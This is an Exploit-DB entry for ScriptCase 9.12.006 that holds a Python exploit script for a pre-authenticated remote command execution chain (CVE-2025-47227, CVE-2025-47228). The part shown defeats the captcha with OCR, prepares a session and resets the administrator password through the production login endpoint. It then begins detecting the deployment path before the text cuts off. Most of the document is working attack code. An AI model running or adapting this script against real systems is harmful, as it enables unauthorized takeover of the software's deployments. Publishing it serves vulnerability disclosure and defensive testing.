Exploit-DB #52353
Description: ScriptCase 9.12.006 (23) - Remote Command Execution (RCE)
Type: remote
Platform: multiple
Date: 2025-07-08
Author: Alexandre ZANNI

Exploit:
# Exploit Title: ScriptCase 9.12.006 (23) - Remote Command Execution (RCE)
# Date: 04/07/2025
# Exploit Author: Alexandre ZANNI (noraj) & Alexandre DROULLÉ (cabir)
# Vendor Homepage: https://www.scriptcase.net/
# Software Link: https://www.scriptcase.net/download/
# Version: 1.0.003-build-2 (Production Environment) / 9.12.006 (23) (ScriptCase)
# Tested on: EndeavourOS
# CVE : CVE-2025-47227, CVE-2025-47228
# Source: https://github.com/synacktiv/CVE-2025-47227_CVE-2025-47228
# Advisory: https://www.synacktiv.com/advisories/scriptcase-pre-authenticated-remote-command-execution

# Imports
## stdlib
import io
import random
import optparse
import re
import string
import sys
import urllib.parse
## third party
from PIL import Image, ImageEnhance, ImageFilter # pip3 install Pillow
import pytesseract # pip3 install pytesseract
import requests # pip install requests
from bs4 import BeautifulSoup # pip install beautifulsoup4

# Clean image + OCR
def process_image(input_image, output_image_path=None):
    # Open the image
    img = Image.open(io.BytesIO(input_image))
    
    # Convert the image to RGB (in case it's in a different mode)
    img = img.convert('RGB')
    
    # Load the pixel data
    pixels = img.load()

    # Get the dimensions of the image
    width, height = img.size

    # Process each pixel
    for y in range(height):
        for x in range(width):
            r, g, b = pixels[x, y]
            # Change the crap background to a fixed color (letters are only black or white, and background is random color but not black or white)
            if (r, g, b) != (0, 0, 0) and (r, g, b) != (255, 255, 255):
                pixels[x, y] = (211, 211, 211) # Change the pixel to light grey
            elif (r, g, b) == (255, 255, 255): # Change white text in black text
                pixels[x, y] = (0, 0, 0) # Change the pixel to black

    # Size (200, 50) * 5
    img = img.resize((1000,250), Image.Resampling.HAMMING)

    # Use Tesseract to convert the image to text
    # psm 6 or 8 work best
    # limit alphabet
    # disable word optimized detection https://github.com/tesseract-ocr/tessdoc/blob/main/ImproveQuality.md#dictionaries-word-lists-and-patterns
    custom_oem_psm_config = rf'--psm 8 --oem 3 -c tessedit_char_whitelist={string.ascii_letters} -c load_system_dawg=false -c load_freq_dawg=false --dpi 300' # there are only uppercase but keep lowercase to avoid false negative
    text = pytesseract.image_to_string(img, config=custom_oem_psm_config)
    return(text.upper().strip()) # convert false positive lowercase to uppercase, strip because leading whitespace is often added

# Step 1: Set is_page to true on the session
def prepare_session(url_base, cookies):
    res = requests.get(
        f'{url_base}/prod/lib/php/devel/iface/login.php',
        cookies=cookies,
        verify=False
    )
    if res.status_code == 200:
        print("[+] Session prepared")
    else:
        print(f"[-] Failed with status code {res.status_code}")

# Random hex string of arbitrary size
def rand_hex(size):
    return ''.join(random.choice('[PII_REDACTED]abcdef') for _ in range(size))

# Step 2: Get a captcha challenge for the session
def captcha_session(url_base, cookies):
    res = requests.get(
        f'{url_base}/prod/lib/php/devel/lib/php/secureimage.php',
        cookies=cookies,
        verify=False
    )
    if res.status_code == 200:
        print("[+] Captcha retrieved")
        return res.content
    else:
        print(f"[-] Failed with status code {res.status_code}")

# Step 3: Change the password with the prepared session
def reset_password(url_base, cookies, captcha_img, captcha_txt):
    new_[CREDENTIAL_REDACTED].choice(string.ascii_letters).capitalize() + rand_hex(10) + str(random.randint(0,9))
    email = f'{rand_hex(10)}@{rand_hex(8)}.com'
    data = {
        'ajax': 'nm',
        'nm_action': 'change_pass',
        'email': email,
        'pass_new': new_password,
        'pass_conf': new_password,
        'lang': 'en-us',
        'captcha': captcha_txt
    }
    res = requests.post(
        f'{url_base}/prod/lib/php/devel/iface/login.php',
        data=data,
        cookies=cookies,
        verify=False
    )
    if res.status_code == 200 and res.text == '{"result":"success"}':
        print("[+] Password reset successfully")
        print(f"[+] The new password is: {new_password}")
        print(f"[+] The delcared (fake) email address was: {email}")
    elif res.status_code == 200 and res.text == '{"result":"error","message":"Invalid captcha"}':
        print("[-] OCR failed")
        print(f"[-] Failed captcha submission was {captcha_txt}")
        img = Image.open(io.BytesIO(captcha_img))
        img.show()
        manual_input = input("[+] Input displayed captcha to retry manually: ")
        reset_password(url_base, cookies, captcha_img, manual_input)
    elif res.status_code == 200 and res.text == '{"result":"error","message":"The password is incorrect."}':
        print("[-] Non default password policy")
        print("[-] Hardcode a password that matches it")
        print(f"[-] Failed password is: {new_password}")
    else:
        print(f"[-] Failed with status code {res.status_code}")
        print(res.text)
        print('[-] Data was:')
        print(data)

# Detect the deployment path of ScriptCase and produciton environment from the homepage.
# E.g. deployment path is /scriptcase/
# sc_pathToTB variable on http://10.58.8.213/ will be '/scriptcase/prod/third/jquery_plugin/thickbox/'
# ScriptCase login page => http://10.58.8.213/scriptcase/devel/iface/login.php
# Production Environment login page => http://10.58.8.213/scriptcase/prod/lib/php/devel/iface/login.php
def detect_deployment_path(homepage_url):
    res = requests.get(homepage_url, verify=False) # HTTP redirections are handled automatically (not JS redirects)
    if res.status_code =